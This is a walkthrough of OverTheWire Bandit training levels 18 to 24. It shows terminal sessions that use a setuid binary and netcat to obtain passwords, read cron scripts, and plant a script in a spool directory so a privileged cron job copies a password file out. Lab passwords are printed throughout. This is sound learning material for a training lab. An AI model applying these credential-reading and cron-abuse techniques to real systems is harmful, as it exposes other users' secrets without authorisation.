bandit18@bandit.labs.overthewire.org's password:
bash-4.3$ ls
readme
bash-4.3$ cat readme
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

Lvl 19-20

'To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.'

bandit19@melinda:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

Lvl 20-21

'There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21)..'

We'll need to ssh to bandit20 on two shells. On the first shell, we must listen on a certain port and run suconnect on shell 2 using the same port. Send the current password of the level in the first shell to receive the password for level 21.

bandit20@melinda:~$ ls
suconnect
bandit20@melinda:~$ ./suconnect
Usage: ./suconnect < portnumber >
This program will connect to the given port on localhost using TCP. If it receives the correct password from the other side, the next password is transmitted back.

bandit20@melinda:~$ nc -l 30050
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

Lvl 21-22

'A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.'

bandit21@melinda:~$ cd /etc/cron.d
bandit21@melinda:/etc/cron.d$ ls -al
total 104
drwxr-xr-x   2 root root 4096 Mar  5 12:43 .
drwxr-xr-x 108 root root 4096 May  4 00:39 ..
-rw-r--r--   1 root root  102 Feb  9  2013 .placeholder
-r--r-----   1 root root   46 Nov 14  2014 behemoth4_cleanup
-rw-r--r--   1 root root  355 May 25  2013 cron-apt
-rw-r--r--   1 root root   61 Nov 14  2014 cronjob_bandit22
-rw-r--r--   1 root root   62 Nov 14  2014 cronjob_bandit23
-rw-r--r--   1 root root   61 May  3  2015 cronjob_bandit24
-rw-r--r--   1 root root   62 May  3  2015 cronjob_bandit24_root
-r--r-----   1 root root   47 Nov 14  2014 leviathan5_cleanup
-rw-------   1 root root  233 Nov 14  2014 manpage3_resetpw_job
-rw-r--r--   1 root root   51 Nov 14  2014 melinda-stats
-rw-r--r--   1 root root   54 Jun 25  2016 natas-session-toucher
-rw-r--r--   1 root root   49 Jun 25  2016 natas-stats
-r--r-----   1 root root   44 Jun 25  2016 natas25_cleanup
-r--r-----   1 root root   47 Aug  3  2015 natas25_cleanup~
-r--r-----   1 root root   47 Jun 25  2016 natas26_cleanup
-r--r-----   1 root root   43 Jun 25  2016 natas27_cleanup
-rw-r--r--   1 root root  510 Oct 29  2014 php5
-rw-r--r--   1 root root   63 Jul  8  2015 semtex0-32
-rw-r--r--   1 root root   63 Jul  8  2015 semtex0-64
-rw-r--r--   1 root root   64 Jul  8  2015 semtex0-ppc
-rw-r--r--   1 root root   35 Nov 14  2014 semtex5
-rw-r--r--   1 root root  396 Nov 10  2013 sysstat
-rw-r--r--   1 root root   29 Nov 14  2014 vortex0
-rw-r--r--   1 root root   30 Nov 14  2014 vortex20
bandit21@melinda:/etc/cron.d$ cat cronjob_bandit22
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@melinda:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@melinda:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

Lvl 22-23

'A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.'

bandit22@melinda:~$ cat /etc/cron.d/cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@melinda:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@melinda:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@melinda:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

Lvl 23-24

'A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.'

This one is a little tricky. The cronjob script runs and then deletes all scripts in /var/spool/bandit24. We know the password file is located in /etc/bandit_pass/ from previous levels, so we'll create a script to read that file.

bandit23@melinda:~$ cat /etc/cron.d/cronjob_bandit24
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@melinda:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        timeout -s 9 60 "./$i"
        rm -f "./$i"
    fi
done
bandit23@melinda:/etc/cron.d$ mkdir /tmp/mariotest
bandit23@melinda:/etc/cron.d$ cd /tmp/mariotest
bandit23@melinda:/tmp/mariotest$ vim test.sh
    #!/bin/bash
    cat /etc/bandit_pass/bandit24 > /tmp/mariotest/ps.txt
bandit23@melinda:/tmp/mariotest$ chmod 777 test.sh
bandit23@melinda:/tmp/mariotest$ cp test.sh /var/spool/bandit24
bandit23@melinda:/tmp/mariotest$ cat ps.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ